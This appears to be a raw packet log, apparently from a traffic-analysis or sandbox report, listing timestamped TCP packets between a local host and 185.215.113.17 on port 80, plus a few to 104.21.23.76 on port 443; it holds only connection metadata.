Dec 18, 2024 12:00:18.120212078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.120335102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.120390892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.120989084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.121114969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.121151924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.121184111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.121720076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.121773005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.121814013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.122462034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.122514963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.122555971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.123228073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.123281002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.123333931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.123967886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.124027967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.124080896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.124732018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.124788046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.124838114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.125296116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.125478983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.125591993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.125648022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.126241922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.126360893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.126415968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.127018929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.127245903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.127299070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.127760887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.127882004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.127883911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.127988100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.128524065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.128628016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.128668070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.128700018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.129312038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.129420996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.129492044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.130050898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.130306005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.130367994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.130784035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.130888939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.130950928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.131547928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.131558895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.131613016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.193100929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.193226099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.193461895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.193475962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.193535089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.193579912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.193630934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.193665981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.193780899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.194387913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.194446087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.194467068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.194544077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.195097923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.195158005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.195211887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.195274115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.195875883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.196048021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.196084976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.196121931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.196579933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.196630955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.196693897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.197144985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.197357893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.197514057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.197565079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.198108912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.198226929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.198278904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.198889017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.199033976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.199038029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.199120045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.199687004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.199800968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.199855089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.250688076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.250749111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.250988960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.251034021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.251163960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.251216888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.251756907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.251833916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.251868963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.251883984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.252536058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.252672911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.252718925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.253298044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.253380060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.254060030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.254108906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.254144907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.254848003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.254893064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.254982948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.255611897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.255656958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.255712986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.256351948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.256396055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.256422043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.257106066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.257128000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.257136106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.257172108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.257848978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.257949114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.258573055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.258621931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.258665085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.259371042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.259404898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.259417057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.260123014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.260173082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.260189056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.260852098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.260896921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.260936975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.261157036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.261686087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.261781931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.261826992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.262351036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.262423038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.262470961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.263147116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.263202906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.263247013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.264013052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.264090061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.264132977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.264635086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.264791012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.264837980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.265564919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.265808105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.266179085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.266226053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.266283035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.266932964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.266979933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.267092943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.267653942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.267699957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.308593988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.308779955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.308840990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.308948994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.309042931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.309089899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.309626102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.309720993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.310375929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.310425043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.310463905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.311161995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.311208010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.311239958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.311992884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.312036037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.312103987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.312684059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.312730074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.312804937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.313154936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.313438892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.313544035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.313618898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.314157009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.314300060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.314351082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.314882994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.315025091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.315076113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.315700054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.315829039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.315887928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.316459894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.316590071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.316639900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.317260981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.317429066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.318046093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.318094015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.318278074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.318967104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.319036961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.319040060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.319643974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.319698095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.319787025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.320389032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.320447922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.320487022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.321057081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.321105003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.321166992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.321810007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.321836948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.321882963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.322484970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.322506905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.322551012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.384542942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.384790897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.384936094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.384983063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.385042906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.385085106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.385695934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.385795116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.386431932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.386483908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.386544943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.387176991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.387226105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.387226105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.388111115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.388153076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.388175011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.388202906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.388693094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.388735056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.388916969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.389133930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.389447927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.389694929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.389730930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.390188932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.390657902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.390701056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.391011000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.391226053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.391268015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.399620056 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:18.399755955 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:18.441790104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.441837072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.441864014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.442039013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.442085028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.442097902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.442914963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.442962885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.442991018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.443095922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.443139076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.443784952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.443835020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.443876028 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.444001913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.444552898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.444631100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.444685936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.445327997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.445384026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.445476055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.445518017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.446058035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.446113110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.446166039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.446208954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.446793079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.446842909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.446949005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.447016954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.447556019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.447602987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.447669029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.448338032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.448383093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.448385000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.449067116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.449110985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.449155092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.449748993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.449840069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.449965954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.450009108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.450537920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.450666904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.450709105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.451395988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.451508999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.451548100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.452240944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.452347994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.452394962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.452980995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.453072071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.453114986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.453613043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.453726053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.453777075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.454399109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.454456091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.454468966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.455106974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.455157995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.455195904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.455945969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.455982924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.456013918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.456033945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.456645966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.456693888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.456732035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.457135916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.457345009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.457387924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.457438946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.458168983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.458211899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.458254099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.499593973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.499682903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.500001907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.500022888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.500080109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.500123024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.500659943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.500735998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.500739098 CET	80	49913	185.215.113.17	192.168.2.6
